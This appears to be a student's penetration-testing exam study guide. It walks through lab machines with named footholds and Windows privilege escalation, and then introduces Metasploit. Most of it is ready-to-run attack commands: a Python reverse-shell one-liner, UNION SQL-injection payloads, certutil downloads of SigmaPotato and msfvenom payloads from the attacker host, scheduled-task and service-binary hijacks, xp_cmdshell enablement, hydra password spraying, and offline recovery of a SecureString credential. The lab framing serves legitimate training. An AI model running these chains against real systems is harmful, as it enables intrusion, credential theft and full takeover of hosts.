2. **Anonymous FTP** → a writable folder that **auto-executes** uploaded scripts (a "Task Queue").
3. **Service-port public exploit** → nmap shows an oddly-versioned service → `searchsploit` it → modify the PoC to run *your* payload.
4. **Web-app RCE** → SQL injection, an in-app code editor, a file upload, or parameter injection → command execution as the web user.

All four end the same way: a reverse shell on **4444**, then `whoami /priv` → Guide 4 (privesc).

A.2 SMB in one paragraph (so shares make sense)

SMB (Server Message Block, ports 139/445) is Windows file/printer sharing. A **share** is a named folder exposed over the network (`\\host\ShareName`). A **null session** (`-N`, no credentials) often still lets you *list* shares and sometimes *read* them — misconfigured boxes leave a share world-readable. Two things you're hunting:

- A **readable** share holding `easy_flag.txt`, a notes/readme file, or a creds backup (`*.zip`, `users.db`, `*.kdbx`, `web.config`).
- A **writable** share (smbmap shows `READ, WRITE`) whose readme reveals the **on-disk path** where uploads land (e.g. a share `Intake` maps to `C:\ProgramData\Starlight\Intake`). Writable share + known path = drop a payload, then trigger it by another vector.

A.3 FTP + the auto-exec folder trick

Anonymous FTP (`anonymous` / `anonymous` or blank password) can expose a folder that a scheduled task *runs automatically*. If a readme (e.g. `AUTOMATION.txt`) says "scripts dropped in `Task Queue\` run every minute," you upload a PowerShell reverse shell there and wait for it to execute. That's a foothold with **no exploit and no creds** — just a misconfiguration.

A.4 Public-exploit footholds (searchsploit)

When nmap reports a service with a specific version (e.g. "Remote Mouse 3.008"), that version string is a gift: search Exploit-DB offline for a matching PoC, **read the PoC to understand what it does**, and modify the command it runs so it launches *your* payload instead of the PoC's demo (`calc.exe`).

A.5 Web-app vulnerabilities you'll actually see

- **SQL injection (SQLi)** — user input reaches a SQL query unsanitised. UNION-based SQLi lets you append your own `SELECT` to read other tables (dump a `users` table → creds). Backend tells dictate syntax: **SQLite** uses `sqlite_master` / `sqlite_version()`; **MySQL** uses `information_schema` / `@@version`.

- **In-app code editor / "run script" feature** — if an admin feature executes user-supplied code, that's instant RCE. Confirm with `id` / `whoami`, then drop a reverse shell.
- **File upload** — upload a webshell (`.php` / `.aspx`), browse to it to execute.
- **Parameter/command injection** — a param gets passed to a shell; append `;cmd` or `&&cmd`.

A.6 SOCKS pivoting (reach an internal-only service)

Sometimes a service is bound to the target's `127.0.0.1` and unreachable from Kali — but the target also runs a **SOCKS proxy** (e.g. port 1080). proxychains routes your tools through that proxy so you can reach the internal app. Key rule: **through a SOCKS proxy, nmap must use** `-sT` (connect scan) — raw SYN/UDP packets can't traverse a proxy. Go binaries like gobuster ignore proxychains, so use their native `--proxy` flag instead.

Part B — Doing it with the toolkit

B.1 SMB enumeration

```
smbnull                                  # alias → smbclient -L //$RHOST -N  (list shares)
smbmap -H $RHOST                         # shares + READ/WRITE level
smbclient //$RHOST/ShareName -N          # connect anon; inside: ls, get <file>, put <file>,
mget *
enum4linux-ng -A $RHOST                   # all-in-one users/shares/policy dump
```

Inside `smbclient`: `prompt off` then `mget *` grabs everything; `put payload.exe` uploads to a writable share.

B.2 FTP

```
ftp $RHOST                               # login anonymous / anonymous (or blank)
# inside:  binary ; ls ; cd "Task Queue" ; put payload.ps1 ; bye
wget -r ftp://anonymous:anonymous@$RHOST/  # mirror the whole FTP root fast
```

B.3 Public exploit

```
searchsploit remote mouse 3.008          # find a matching PoC
searchsploit -m 46697                     # copy 46697.py into cwd (-m = mirror). READ it, then
edit
                                          # the command it runs to point at YOUR uploaded
payload.
```

B.4 Web app

```
whatweb http://$RHOST                     # fingerprint
gobuster dir -u http://$RHOST -w /usr/share/wordlists/dirb/common.txt -t 10 -x txt,php
# SQLi testing is manual in the browser/Burp (see Part C.4).
```

B.5 Build + serve the reverse-shell payload (ties into Guide 2)

```
l4                                        # listener on 4444 FIRST
winrev 4444                               # prints a PowerShell reverse shell to paste into web
RCE (arg = PORT)
venexe 4444                               # OR build shell.exe for upload/overwrite footholds
serve                                     # python3 -m http.server 8081 over payloads/
```

B.6 SOCKS pivot

```
# /etc/proxychains4.conf: enable 'dynamic_chain', comment 'strict_chain' and the two 'localnet'
lines,
# then add at the bottom:   socks5  <RHOST>  1080
proxychains4 -q nmap -sT -sV -Pn -p- 127.0.0.1          # -sT is mandatory through SOCKS
gobuster dir -u http://127.0.0.1:8080 -w .../common.txt --proxy socks5://$RHOST:1080 -t 10
```

Part C — Worked examples

C.1 STARLIGHT (Windows) — anon SMB + service exploit → stella

- **Easy flag:** `smbnull` lists an anon-readable share `ITBriefs` holding `easy_flag.txt` + `desktop_assist_notes.txt`. (Also grab any `developer_backup.zip`, `users.db`, `*.kdbx`, `web.config`.)
- **Foothold:** nmap shows **Remote Mouse** on 1978–1980 → `searchsploit remote mouse` → mirror the PoC. It's writable-share-assisted: the box also has a **writable** `Intake` share mapping to `C:\ProgramData\Starlight\Intake`.

  ```
  venexe 4444                                              # → assist_update.exe (rename to
  taste)
  smbclient //$RHOST/Intake -N -c "put assist_update.exe"  # lands at
  C:\ProgramData\Starlight\Intake
  # edit the PoC (46697.py) so it executes that uploaded exe's full path
  l4                                                       # listener first
  python3 46697.py $RHOST                                  # trigger → shell as starlight\stella
  type C:\Users\stella.STARLIGHT\Desktop\intermediate_flag.txt
  ```

- **Privesc from stella:** writable service binary `StarlightMaintenance` → Guide 4 §3 → SYSTEM.

C.2 CYCLES (Windows) — anon FTP auto-exec → mason

- **Foothold:** anonymous FTP root has `Ops Scripts/`, `Task Queue/`, `AUTOMATION.txt`. The readme discloses: FTP root = `C:\ftpRoot`, and **any** `.ps1` **dropped in** `Task Queue/` **auto-runs.** `Ops Scripts/MirrorRepo.ps1` holds the easy-flag token.

  ```
  l4                                                       # listener first
  # payload.ps1 = PowerShell TCPClient reverse shell (LHOST, port 4444) — from payloads/reverse-
  shells.txt
  ftp $RHOST        # anonymous/anonymous → cd "Task Queue" → put payload.ps1 → bye
  # wait for the scheduled run → shell as cycles\mason
  type C:\Users\Mason\Desktop\intermediate_flag.txt
  ```

- **Privesc from mason:** `AlwaysInstallElevated` → malicious MSI → Guide 4 §4 → SYSTEM.

C.3 STRATUS (Linux) — SOCKS pivot (technique to bank)

nmap shows a SOCKS proxy on 1080. Configure proxychains, scan `127.0.0.1` with `-sT`, find an internal dashboard on `:8080`. gobuster (native `--proxy`) finds `/relay-console.php` → www-data command exec → reverse shell to 5555. Then `Credentials.txt` (UTF-16; `strings` it) hints `SHA1(username@secret!)` → `printf '%s' 'velmar@secret!' | sha1sum` → `su - velmar` → intermediate flag. (Privesc: kernel char-device write — Linux, not your exam target, but the *pivot* technique is worth knowing.)

C.4 ARDOLIS (Linux) — SQLi + hash crack + RCE (techniques to bank)

- **Easy flag via NTLM crack:** anon SMB `shared` → `developer_backup.zip` → `users.db` + `notes.txt`. `notes.txt` leaks a staging path `/admin_dev_staging/` and a password pattern `Ardolis01!`..`54!`.

```
sqlite3 users.db '.tables'                                          # → accounts
sqlite3 users.db "SELECT username||':'||ntlm_hash FROM accounts;" > hashes.txt
python3 -c "print('\n'.join(f'Ardolis{n:02d}!' for n in range(1,55)))" > wl.txt
john --format=NT --wordlist=wl.txt hashes.txt                       # column named ntlm_hash ⇒
use NT
# build user:pass pairs → cracked.txt, then a GENTLE hydra spray on the form:
hydra -C cracked.txt $RHOST -s 45904 http-post-form \
  "/admin_dev_staging/:username=^USER^&password=^PASS^:F=Invalid username or password" -f
```

→ `jossdunn / Ardolis36!` → log in → easy flag. (`hydra -C` tries each pair, not a cross-product — quiet. `-f` = stop at first valid.)

- **UNION SQLi (SQLite):**

```
x'                                  -- error = injectable
x' ORDER BY 1-- ... increment until error → column count
x' UNION SELECT 1,2,3--             -- which columns reflect
x' UNION SELECT sql,2,3 FROM sqlite_master--            -- dump schema
x' UNION SELECT username,password,role FROM uaccounts--  -- dump creds
```

→ `sysadmin / Ardolis-Sys-2026!` → admin panel.

- **In-app code-editor RCE:** a Python editor runs your code:

```
import os; print(os.popen('id').read())      # confirm exec (user corven)
import socket,subprocess,os;s=socket.socket();s.connect(('KALI',4444));[os.dup2(s.fileno(),f)
for f in(0,1,2)];import pty;pty.spawn('/bin/bash')
```

Part D — Foothold decision tree

```
Recon done → what's open?
 ├─ 445 SMB   → smbnull / enum4linux-ng
 │              ├─ readable share? → READ it (easy flag often here)
 │              └─ writable share? → note on-disk path → drop payload, trigger elsewhere
 ├─ 21 FTP    → anon login → writable? auto-exec folder? → drop reverse shell, wait
 ├─ weird-versioned service → searchsploit → modify PoC to run YOUR payload
 └─ 80/443/8080 web → whatweb + gobuster
                ├─ SQLi (search/login box) → UNION dump creds
                ├─ code editor / upload → webshell/RCE
                └─ param injection → ;cmd
   ... all paths → reverse shell on 4444 → whoami /priv → Guide 4
```

Part E — Gotchas & exam discipline

- **Check anonymous SMB *and* FTP first.** On these boxes the easy flag was almost always sitting in an anon share/folder. "The answer is often obvious."
- A **writable** share/folder is a foothold even without creds — drop a payload, trigger it elsewhere.
- **Column named `ntlm_hash` = NTLM** (`john --format=NT` / `hashcat -m 1000`) regardless of what `hashid` guesses (it may mislabel NTLM as mscash/DCC — trust the column name).
- **Keep hydra gentle:** `-C` combo of *cracked* pairs + `-f` + low threads + one form. No rockyou spray.
- Through SOCKS: nmap `-sT` only; gobuster uses its own `--proxy`.
- `msfvenom` **for exe/msi/ps payloads is free** — it does *not* burn your one msfconsole use.

- Spend your single Metasploit use on a foothold exploit that's painful by hand (§A.4 type) — never on privesc.

Cross-refs: recon that feeds this → Guide 1; catching/stabilising the shell → Guide 2; privesc after foothold → Guide 4; Windows/SMB/service concepts → Guide 5.

Guide 4 — Windows Privilege Escalation (Tut 9) ⭐ the money tutorial

> **Why this tutorial matters most:** The **intermediate and hard flags** usually live *behind a privesc step*, not behind more enumeration. The easy flag is "read a share / a note." The rest is "you have a weak shell — now become SYSTEM and read the admin's desktop." This guide is the one to drill until it's reflex, because it's where Distinction / High Distinction marks are won. And because privesc here is **all manual**, every SYSTEM you get this way earns **bonus marks** (you're saving your one Metasploit use for a foothold).

Read Guide 5 (Windows concepts) alongside this if the words *token*, *service account*, *SeImpersonate* feel fuzzy — this guide assumes you know what a Windows access token is.

Part A — The theory you need

A.1 What "privilege escalation" means on Windows

You land as a weak account (a web app pool identity, a service account, a low-priv user). Privesc = getting from there to **NT AUTHORITY\SYSTEM** (the all-powerful local account) or a local Administrator. Once you're SYSTEM you can read any file, including `C:\Users\Administrator\Desktop\*flag*`.

On Windows you rarely escalate by "exploiting a kernel bug." You escalate by abusing a **misconfiguration or a privilege your token already holds**. The single most important question is:

> **"What does my access token let me do?"** → `whoami /priv`

A.2 Access tokens and privileges (the core concept)

Every Windows process runs with an **access token** describing *who you are* and *what special powers (privileges)* you hold. Privileges have names like `SeImpersonatePrivilege`. They can be **Enabled** or **Disabled** — but even a *Disabled* privilege is usable, because a process can enable its own held privileges. So "present but disabled" still counts.

The privileges that matter for privesc, and what each buys you:

Privilege	What it lets you do	Your tool
SeImpersonatePrivilege	impersonate another token — incl. a SYSTEM token you trick a service into handing you	**Potato** (SigmaPotato/PrintSpoofer/GodPotato)
SeAssignPrimaryTokenPrivilege	same family (assign a token to a new process)	Potato binaries
SeBackupPrivilege / SeRestorePrivilege	read/write *any* file, bypassing ACLs (dump SAM, read flags)	`reg save HKLM\SAM`, copy
SeDebugPrivilege	open any process	dump `lsass`, migrate
SeTakeOwnershipPrivilege	take ownership of any file/key, then grant yourself access	`takeown` + `icacls`

A.3 Why service accounts are gold

Windows service accounts — `IIS APPPOOL\...`, `svc_*`, `MSSQL$...`, `NT SERVICE\...`, `NT AUTHORITY\NETWORK SERVICE` — almost always hold **SeImpersonatePrivilege** by design (services legitimately need to impersonate clients). So if your foothold landed you as a service account, you're one potato away from SYSTEM. **This is the #1 Windows privesc on exam/CTF boxes.**

A.4 What a "Potato" exploit actually does (the intuition)

The Potato family (RottenPotato → PrintSpoofer → GodPotato → SigmaPotato) abuses Windows COM/RPC mechanics: they trick a **SYSTEM-level service** into authenticating to a listener *they* control, and because the attacking process holds **SeImpersonate**, it can **impersonate that SYSTEM token**. The result: your process now runs commands as SYSTEM. You don't need to understand the RPC plumbing to use them — you need to recognise "I have SeImpersonate → run a potato." They're **just uploaded .exe helpers**; running them does **not** spend your one Metasploit use.

Carry all three (SigmaPotato, PrintSpoofer, GodPotato) because they're OS/version-sensitive — if one throws a token error, try the next.

A.5 The five privesc patterns you'll meet (in priority order)

1. **SeImpersonate in your token** → upload a potato → SYSTEM. (Fastest. Try first.)
2. **SeImpersonate hidden in a service/scheduled-task token** → your interactive shell lacks it, but a task/service you can influence has it → hijack the file that task runs so the potato runs *in its token*. **(This is the Tut9 hard-flag twist — read §C.1 carefully.)**
3. **Writable service binary / weak service permissions / unquoted service path** → replace the exe the service launches → restart → your code runs as the service account.
4. **AlwaysInstallElevated** → any `.msi` installs as SYSTEM → build a malicious MSI.
5. **Writable auto-run/startup/queue folder** → drop a reverse shell where a privileged process runs it.

A.6 `icacls` — your write-access oracle

Before you assume "I can overwrite that script/binary," prove it. `icacls <path>` prints the ACL. Look for **your user** (or a group you're in, or `Everyone` / `BUILTIN\Users`) with:

- `(F)` Full, `(M)` Modify, `(W)` Write — you can overwrite it.
- `(RX)` / `(R)` — read only, no good for overwriting.

This one check saves you from wasting minutes on a path you can't actually write.

Part B — Doing it with the toolkit

B.0 Fetch the binaries once per box (they're gitignored, not in the repo)

```
bash ~/ptd-toolkit/scripts/fetch-binaries.sh    # pulls SigmaPotato, PrintSpoofer, GodPotato,
winPEAS, nc.exe...
ls -la ~/ptd-toolkit/payloads/                   # verify each file size > 0
```

B.1 Serve the tools to the target

```
serve                                            # alias → python3 -m http.server 8081 over
payloads/
```

On the target, pull a binary (two equivalent ways):

```
# PowerShell:
Invoke-WebRequest -Uri "http://$LHOST:8081/SigmaPotato.exe" -OutFile
"C:\Windows\Temp\SigmaPotato.exe"
# certutil (living-off-the-land, works from cmd.exe, no PowerShell needed):
certutil.exe -urlcache -f http://$LHOST:8081/SigmaPotato.exe C:\Windows\Temp\SigmaPotato.exe
```

Pick any writable dir: `C:\Windows\Temp`, `C:\ProgramData\...`, `%TEMP%`.

B.2 The cheat sheet

`cheatsheets/04-win-privesc.md` is the copy-paste version of everything below — keep it open on exam day. `winrev 5555` (arg = port) prints a privesc reverse shell on 5555 if you want SYSTEM as a shell rather than a one-off command.

Part C — The techniques, step by step

C.0 THE FIRST THREE COMMANDS (every Windows shell, every time)

```
whoami /priv          :: THE decider — look for SeImpersonate / SeAssignPrimaryToken / SeBackup /
SeDebug
whoami /groups        :: are you already in Administrators or a juicy group?
systeminfo            :: OS build + hotfixes (only for last-resort kernel-exploit matching)
```

C.1 ⭐ SeImpersonate → SYSTEM with a Potato (the central technique)

When `whoami /priv` shows **SeImpersonatePrivilege** (enabled *or* disabled):

```
# 1. (Kali)  serve      # http.server 8081 in payloads/
# 2. Pull the potato:
certutil.exe -urlcache -f http://$LHOST:8081/SigmaPotato.exe C:\Windows\Temp\SigmaPotato.exe
# 3. Prove SYSTEM:
C:\Windows\Temp\SigmaPotato.exe "cmd.exe /c whoami > C:\Windows\Temp\who.txt"
type C:\Windows\Temp\who.txt            # → nt authority\system
# 4. Read the flag directly as SYSTEM:
C:\Windows\Temp\SigmaPotato.exe "cmd.exe /c type C:\Users\Administrator\Desktop\hard_flag.txt >
C:\Windows\Temp\f.txt"
type C:\Windows\Temp\f.txt
```

One-shot SYSTEM reverse shell instead of a one-off command (Kali: `l5`):

```
C:\Windows\Temp\SigmaPotato.exe --revshell $LHOST 5555
```

Drop-in alternatives (same idea):

```
.\PrintSpoofer64.exe -c "cmd.exe /c whoami"      # -i interactive, -c command
.\GodPotato-NET4.exe -cmd "cmd /c whoami"        # needs .NET; -cmd
```

C.2 ⭐ Scheduled-task / service context exposes the privilege (THE Tut9 Caldera hard flag)

The twist: your interactive WinRM token *lacked* SeImpersonate, but an existing scheduled task's token *had* it. You don't escalate your own shell — you **hijack a script the privileged task already runs on a timer**, and let *that* context run the potato.

```
# a. Find the task and how it runs
schtasks /query /tn "Caldera Relay Sync" /v /fo list
#    → runs: powershell -File C:\ProgramData\CalderaOps\relay-sync.ps1  as CALDERA\svc_relay,
repeating
# b. PROVE you can write the script + staging dir (icacls = the key check)
icacls C:\ProgramData\CalderaOps\relay-sync.ps1        # look for your user with (W)/(M)/(F)
icacls C:\ProgramData\CalderaOps\Staging
# c. Stage the potato where the task can reach it
certutil -urlcache -f http://$LHOST:8081/SigmaPotato.exe
C:\ProgramData\CalderaOps\Staging\SigmaPotato.exe
```

```
# d. Overwrite the script the task runs (host your own relay-sync.ps1 on Kali, pull it over the
original)
certutil -urlcache -f http://$LHOST:8081/relay-sync.ps1 C:\ProgramData\CalderaOps\relay-sync.ps1
#    your relay-sync.ps1 body (runs in the TASK's token, which HAS SeImpersonate):
#      & "C:\ProgramData\CalderaOps\Staging\SigmaPotato.exe" `
#        "cmd.exe /c type C:\Users\Administrator\Desktop\hard_flag.txt >
C:\ProgramData\CalderaOps\Staging\flag.txt"
# e. Wait for the repeat, read the output
Start-Sleep -Seconds 75
type C:\ProgramData\CalderaOps\Staging\flag.txt
```

Generalise: *a writable file that a privileged scheduled task/service runs on a timer* → put your command in it → wait → profit. Enumerate with `schtasks /query /v /fo list`, then `icacls` every path the task touches. The breadcrumb to this (an `ops-readme.txt`) sat next to the *intermediate* flag — **read every readme / .xml / .ps1 / .bak you can see; the box tells you the path.**

Side-quest banked here: recover a DPAPI/SecureString credential offline

`svc_relay`'s password wasn't plaintext — it was a PowerShell `SecureString` blob (`relay.secret`) + a key file (`relay.key.bak`). **A script that decrypts a credential shows you how** — copy the inputs, replay the logic offline on Kali:

```
# recover-relay.ps1   →   pwsh ./recover-relay.ps1
$Key  = Get-Content .\relay.key.bak | ForEach-Object { [byte]$_ }
$Blob = Get-Content .\relay.secret
$Sec  = $Blob | ConvertTo-SecureString -Key $Key
[System.Net.NetworkCredential]::new("", $Sec).Password
```

→ `svc_relay`'s password → `evil-winrm -i $RHOST -u svc_relay -p '<pass>'`.

C.3 Writable service binary → replace & restart

```
sc query                                  :: list services
sc qc <ServiceName>                       :: BINARY_PATH_NAME + START_TYPE + the account it runs
as
icacls "C:\Path\To\service.exe"           :: can you (W)/(M)/(F) write it?
```

Exploit:

```
# (Kali)  venexe 5555   → service.exe (msfvenom shell_reverse_tcp 5555) ; serve ; l5
certutil -urlcache -f http://$LHOST:8081/service.exe C:\Path\To\service.exe   # overwrite
sc stop <ServiceName> & sc start <ServiceName>        # or wait for auto-restart → shell as the
svc account
```

Related misconfigs:

- **Unquoted service path** (`sc qc` shows `C:\Program Files\Star Light\svc.exe` with no quotes) → if a parent dir is writable, drop `C:\Program.exe` or `C:\Program Files\Star.exe`.
- **Weak service perms** (`SERVICE_CHANGE_CONFIG`) → `sc config <svc> binpath= "C:\Windows\Temp\rev.exe"`.

C.4 AlwaysInstallElevated → MSI as SYSTEM

```
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

Both `= 0x1` → any MSI installs as SYSTEM:

```
# (Kali)  msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=6666 -f msi -o evil.msi ;
serve ; l6
certutil -urlcache -f http://$LHOST:8081/evil.msi C:\Windows\Temp\evil.msi
msiexec /quiet /qn /i C:\Windows\Temp\evil.msi        # → SYSTEM
```

C.5 Writable auto-run / startup / queue folder

A folder whose contents get executed on a schedule (startup dir, "Task Queue", watched FTP drop). If you can write there, drop a `.ps1` / `.bat` / `.exe` reverse shell and wait. (Same thread as C.2: you control a file a privileged process will run.)

C.6 When nothing jumps out — enumerate

```
whoami /priv & whoami /groups                          :: again — the main thing
net user & net localgroup administrators               :: accounts
cmdkey /list                                           :: saved creds → runas /savecred
reg query HKLM /f password /t REG_SZ /s                :: creds in registry
dir /s /b C:\*flag*.txt 2>nul                           :: just look for flag files
type C:\Users\*\Desktop\*.txt 2>nul                     :: notes/creds on desktops
:: PowerShell history — ALWAYS check (full of typed creds), per user:
type C:\Users\
<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

Automated (upload + run, read output): **winPEAS** (`winPEASx64.exe`) and **PowerUp** (`powershell -ep bypass; . .\PowerUp.ps1; Invoke-AllChecks`). Powerful but **noisy and slow** — on a timed exam, try `whoami /priv` + potato first; reach for winPEAS only when stuck.

Part D — Second full worked chain (Charlice, Tut 10) — reinforces everything

Ends in the *same* SeImpersonate→SigmaPotato→SYSTEM, proving potato is THE exam Windows privesc. Banks three extra techniques: **certutil transfer**, **PowerShell-history creds**, **MSSQL xp_cmdshell**.

```
easy  : smbclient //$RHOST/TeamDrop -N  → easy_flag.txt + access-rotation.txt
        (leaks user 'maris' + password pattern Season+YYYY+!  → Q2 2026 = Summer2026!)
inter : hydra -l maris -P <tiny season list> rdp://$RHOST -t 1     # targeted, gentle
        xfreerdp3 /u:maris /p:'Summer2026!' /v:$RHOST /cert:ignore
        type C:\Users\maris\Desktop\intermediate_flag.txt          # hard flag DENIED to maris
hard  : # a) a service maris can tamper with
        Get-CimInstance Win32_Service | ? { $_.PathName -and $_.PathName -notlike 'C:\Windows\*'
}
        sc.exe qc HarborWatch ; icacls C:\ProgramData\CHARLICE\HarborWatch   # maris has (M);
runs as .\buildsync
        # b) replace the service binary (C.3) via certutil, restart → shell as buildsync
        certutil.exe -urlcache -f http://$LHOST/watchdog.exe C:\Windows\Temp\watchdog.exe
        Copy-Item C:\Windows\Temp\watchdog.exe C:\ProgramData\CHARLICE\HarborWatch\watchdog.exe -
Force
        sc.exe start HarborWatch
        # c) loot buildsync's PowerShell history → MSSQL creds ledger_sql / LedgerBridge!2026
        type C:\Users\buildsync\...\PSReadLine\ConsoleHost_history.txt
        # d) MSSQL xp_cmdshell → command exec as the SQL service account
        sqsh -S $RHOST -U ledger_sql -P 'LedgerBridge!2026'
```

```
#   EXEC xp_cmdshell 'whoami'; go        → nt service\mssqlserver
#   (enable if needed: sp_configure 'show advanced options',1; RECONFIGURE;
#                      sp_configure 'xp_cmdshell',1; RECONFIGURE;)
# e) that SQL account HAS SeImpersonate → potato → SYSTEM (C.1)
whoami /priv                              # SeImpersonatePrivilege = Enabled
certutil -urlcache -f http://$LHOST/SigmaPotato.exe C:\Windows\Temp\SigmaPotato.exe
C:\Windows\Temp\SigmaPotato.exe --revshell $LHOST 4444      # (Kali: l4) → SYSTEM
type C:\Users\Administrator\Desktop\hard_flag.txt
```

Techniques to bank: `certutil -urlcache -f <url> <dest>` (cmd-only download); PowerShell history at `...\PSReadLine\ConsoleHost_history.txt` (read every user's); MSSQL `xp_cmdshell` via `sqsh` (SQL service account ≈ always has SeImpersonate); `SigmaPotato --revshell`; season/pattern passwords (build a *tiny* list, never rockyou-spray RDP).

Part E — The decision flow (make this reflex)

```
got a shell → whoami /priv
 ├─ SeImpersonate present (even disabled)..... upload SigmaPotato/PrintSpoofer → SYSTEM
(C.1)
 ├─ not in YOUR token, but a service/sched-task
 │   runs a file you can write..................... hijack that file; potato runs in ITS token
(C.2)
 ├─ writable service .exe / weak perms / unquoted.. replace binary, restart service
(C.3)
 ├─ AlwaysInstallElevated = 1..................... msfvenom .msi → msiexec → SYSTEM
(C.4)
 ├─ writable auto-run/startup/queue folder......... drop reverse shell, wait
(C.5)
 └─ none obvious.................................. winPEAS/PowerUp, saved creds, history,
registry (C.6)
then: type C:\Users\Administrator\Desktop\*flag*  (or wherever enum points)
```

Part F — Gotchas & exam discipline

- **SeImpersonate hides in service/scheduled-task tokens.** If your interactive shell lacks it but you came in as a `svc_*`/apppool/mssql account, look for a task/service you can influence — that's the Tut9 whole point and a classic trap.
- `icacls` **before you overwrite** anything — confirm you actually have (W)/(M)/(F).
- **Carry all three potatoes.** If one fails with a token error, try the next (OS/version sensitive).
- **Read every readme / .xml / .ps1 / .bak near a flag** — exam boxes leave the next step (and sometimes the decryption logic) in plain sight. "The answer is often obvious."
- **Privesc is manual = bonus marks.** Don't spend your one Metasploit use here; save it for a foothold.
- All listeners on **4444/5555/6666**; keep `serve` on **8081** so the download one-liners are muscle memory.

Cross-refs: how you got the shell → Guides 2 & 3; payload generation → `metasploit.md` cheat; credential cracking → `password-attacks.md`; token/service/AD theory → Guide 5.

Guide 6 — Metasploit from Zero (beginner tutorial)

> **Goal:** take you from "I've barely touched this tool" to confidently using Metasploit as your **oracle** on exam day — find the exploit/privesc fast, confirm it works, then reproduce it manually for the marks. Read this with [[tut09-windows-privesc]] and the exam-specific notes in `context/concepts/metasploit.md`. Exam placeholders: `$RHOST` = target, `$LHOST` = your Kali.

Part A — What Metasploit actually is

Metasploit is a **framework**: a big library of ready-made offensive code (exploits, payloads, scanners, post-exploitation tools) wrapped in a console that makes them easy to point at a target. Instead of writing an exploit from scratch, you pick a **module**, fill in a few variables (target IP, your IP, port), and run it.

Think of it as a **toolbox with a consistent interface**: every tool is loaded the same way (`use`), configured the same way (`set`), and fired the same way (`run`). Learn that one rhythm and the whole tool opens up.

The main program you'll use is **`msfconsole`** — the interactive command-line interface.

The pieces (vocabulary you need)

- **Module** — one tool. There are several *types* (below).
- **Exploit** — code that abuses a specific vulnerability to get code execution.
- **Payload** — the code that *runs on the target after* the exploit lands (e.g. a reverse shell). The exploit is the delivery; the payload is what gets delivered.
- **Meterpreter** — Metasploit's deluxe payload: an in-memory agent with a rich command set (file transfer, privilege tools, screenshots). More capable than a plain shell.
- **Session** — a live connection to a target you've compromised (a shell or a Meterpreter). You can have several at once and switch between them.
- **Listener / handler** — the Kali-side part that *catches* a reverse connection from a payload.
- **LHOST / LPORT** — *your* IP and port (where the payload calls back). On the exam, LPORT is **4444 / 5555 / 6666 only**.
- **RHOST(S) / RPORT** — the *target's* IP and the service port you're attacking.

The module types

Type	What it does	Example
exploit	abuses a vuln to get code execution	`exploit/windows/smb/ms17_010_eternalblue`
payload	what runs on the target after exploitation	`windows/x64/meterpreter/reverse_tcp`
auxiliary	scanning/enumeration/brute — no code-exec	`auxiliary/scanner/smb/smb_enumshares`
post	runs *after* you have a session (loot, privesc recon)	`post/multi/recon/local_exploit_suggester`
encoder / nop	obfuscate/pad payloads (AV evasion)	`x64/xor_dynamic`

Part B — Starting it up (Kali)

```
sudo msfdb init        # one-time: start the PostgreSQL database Metasploit uses to store scan
results
msfconsole -q          # launch the console (-q = quiet, skips the banner)
```

Inside the console, confirm the database is connected (lets you store hosts/services and use `db_nmap`):

```
msf6 > db_status
msf6 > workspace -a ptd        # make a workspace for this box (keeps data tidy); switch with:
workspace ptd
```

> Database is optional — every exploit works without it. It just remembers hosts/services for you.

Part C — The core workflow (the rhythm to memorise)

Every single module follows the same five beats:

```
search  →  use  →  show options / set  →  check  →  run
```

```
msf6 > search eternalblue                 # 1. find a module (by name, CVE, service...)
msf6 > use exploit/windows/smb/ms17_010_eternalblue   # 2. select it (tab-completes)
msf6 exploit(...) > show options          # 3. see what you must fill in (RHOSTS, LHOST,
payload...)
msf6 exploit(...) > set RHOSTS $RHOST      #    configure the target
msf6 exploit(...) > set LHOST  $LHOST      #    configure your callback IP
msf6 exploit(...) > set LPORT  4444        #    EXAM: 4444/5555/6666 only
msf6 exploit(...) > check                  # 4. is it actually vulnerable? (no exploitation) ←
your oracle
msf6 exploit(...) > run                    # 5. fire it (alias: exploit) → you get a session on
success
```

Essential console commands

Command	Does
`search <term>`	find modules. Filter: `search type:exploit platform:windows name:smb`
`use <module>` / `use <N>`	select a module (or the Nth search result)
`info`	full description, options, targets, references (CVE) of the current module
`show options`	the variables you must set (Required = yes)
`show payloads` / `show targets`	compatible payloads / target variants for this exploit
`set OPT value` / `setg OPT value`	set an option (`setg` = global: `setg LHOST $LHOST` once, reused everywhere)
`unset OPT`	clear an option
`check`	test whether the target is vulnerable **without exploiting** — safe, fast triage
`run` / `exploit`	execute the module
`sessions` / `sessions -i N`	list sessions / interact with session N
`background` (or Ctrl-Z)	drop a session to the background, back to the console
`jobs` / `kill N`	list/stop background jobs (e.g. handlers)
`back`	deselect the current module
`resource file.rc`	run a script of console commands (automation — see Part G)

Part D — Payloads, staged vs stageless, and `msfvenom`

Picking a payload

After `use <exploit>`, Metasploit sets a default payload; change it with `set payload <name>`:

```
set payload windows/x64/meterpreter/reverse_tcp     # Meterpreter, calls back to you (most
common)
set payload windows/x64/shell_reverse_tcp           # plain cmd.exe shell, calls back
```

Staged (`/`) vs stageless (`_`):

- `windows/x64/meterpreter/reverse_tcp` — **staged**: sends a tiny stager first, which pulls the rest over your handler. Smaller initial payload.
- `windows/x64/meterpreter_reverse_tcp` — **stageless**: the whole payload in one blob. More reliable through awkward delivery, bigger file. Use staged by default; switch to stageless if a shell keeps dying on connect.

`msfvenom` — generate a standalone payload file

`msfvenom` is Metasploit's payload *generator* — it makes an `.exe` / `.msi` / `.ps1` you deliver yourself. **On the exam this is FREE** (it's not "running msfconsole on a target"):

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=4444 -f exe  -o shell.exe
msfvenom -p windows/x64/shell_reverse_tcp        LHOST=$LHOST LPORT=5555 -f exe  -o rev.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=6666 -f msi  -o evil.msi
#   -p payload · -f format (exe/msi/aspx/elf/raw/ps1) · -o output · LPORT 4444/5555/6666 only
```

(Toolkit shortcut: `venexe 4444` builds the exe for you.)

Catching a manual payload with `multi/handler`

If you deliver an msfvenom payload yourself (upload + run), catch it with Metasploit's generic handler — this is just a **listener**, the free equivalent of `nc -lvnp` :

```
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp    # MUST match the payload you generated
msf6 > set LHOST $LHOST
